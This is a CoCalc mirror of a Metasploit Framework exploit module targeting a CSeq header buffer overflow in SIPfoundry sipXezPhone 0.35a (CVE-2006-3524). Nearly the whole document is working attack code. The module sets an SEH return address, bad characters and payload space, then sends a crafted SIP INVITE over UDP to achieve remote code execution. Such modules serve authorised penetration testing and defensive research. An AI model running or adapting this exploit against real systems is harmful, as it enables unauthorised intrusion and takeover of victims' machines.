Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/sip/sipxezphone_cseq.rb
19591 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Udp
10
include Msf::Exploit::Remote::Seh
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'SIPfoundry sipXezPhone 0.35a CSeq Field Overflow',
17
'Description' => %q{
18
This module exploits a buffer overflow in SIPfoundry's
19
sipXezPhone version 0.35a. By sending an long CSeq header,
20
a remote attacker could overflow a buffer and execute
21
arbitrary code on the system with the privileges of
22
the affected application.
23
},
24
'Author' => 'MC',
25
'References' => [
26
['CVE', '2006-3524'],
27
['OSVDB', '27122'],
28
['BID', '18906'],
29
],
30
'DefaultOptions' => {
31
'EXITFUNC' => 'process',
32
},
33
'Payload' => {
34
'Space' => 400,
35
'BadChars' => "\x00\x0a\x20\x09\x0d",
36
'StackAdjustment' => -3500,
37
},
38
'Platform' => 'win',
39
40
'Targets' => [
41
['sipXezPhone 0.35a Universal', { 'Ret' => 0x1008e853 } ],
42
],
43
44
'Privileged' => false,
45
46
'DisclosureDate' => '2006-07-10',
47
48
'DefaultTarget' => 0,
49
'Notes' => {
50
'Reliability' => UNKNOWN_RELIABILITY,
51
'Stability' => UNKNOWN_STABILITY,
52
'SideEffects' => UNKNOWN_SIDE_EFFECTS
53
}
54
)
55
)
56
57
register_options(
58
[
59
Opt::RPORT(5060)
60
]
61
)
62
end
63
64
def exploit
65
connect_udp
66
67
print_status("Trying target #{target.name}...")
68
69
user = rand_text_english(2, payload_badchars)
70
port = rand(65535).to_s
71
filler = rand_text_english(260, payload_badchars)
72
seh = generate_seh_payload(target.ret)
73
filler[252, seh.length] = seh
74
75
sploit = "INVITE sip:#{user}\@127.0.0.1 SIP/2.0" + "\r\n"
76
sploit << "To: <sip:#{rhost}:#{rport}>" + "\r\n"
77
sploit << "Via: SIP/2.0/UDP #{rhost}:#{port}" + "\r\n"
78
sploit << "From: \"#{user}\"<sip:#{rhost}:#{port}>" + "\r\n"
79
sploit << "Call-ID: #{(rand(100) + 100)}#{rhost}" + "\r\n"
80
sploit << "CSeq: " + filler + "\r\n"
81
sploit << "Max-Forwards: 20" + "\r\n"
82
sploit << "Contact: <sip:127.0.0.1:#{port}>" + "\r\n\r\n"
83
84
udp_sock.put(sploit)
85
86
handler
87
disconnect_udp
88
end
89
end
90
91